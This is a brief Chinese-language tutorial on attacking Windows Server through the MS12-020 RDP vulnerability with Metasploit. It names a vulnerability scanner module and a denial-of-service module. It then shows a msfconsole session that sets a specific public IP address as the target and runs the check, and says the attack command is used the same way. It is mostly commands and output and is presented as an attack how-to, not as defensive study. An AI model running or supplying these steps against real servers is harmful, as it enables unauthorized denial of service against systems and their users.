利用MS12_020攻击winserver服务器

0x01 两个利用exploit
auxiliary/scanner/rdp/ms12_020_check
检查是否存在该漏洞。
auxiliary/dos/windows/rdp/ms12_020_maxchannelids
利用该漏洞攻击。
0x02 设置RHOST
msf > use auxiliary/scanner/rdp/ms12_020_check
msf auxiliary(ms12_020_check) > options
Module options (auxiliary/scanner/rdp/ms12_020_check):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS yes The target address range or CIDR identifier
RPORT 3389 yes Remote port running RDP (TCP)
THREADS 1 yes The number of concurrent threads
msf auxiliary(ms12_020_check) > set RHOSTS 122.112.3.57
RHOSTS => 122.112.3.57
msf auxiliary(ms12_020_check) > exploit
攻击命令于此大同小异。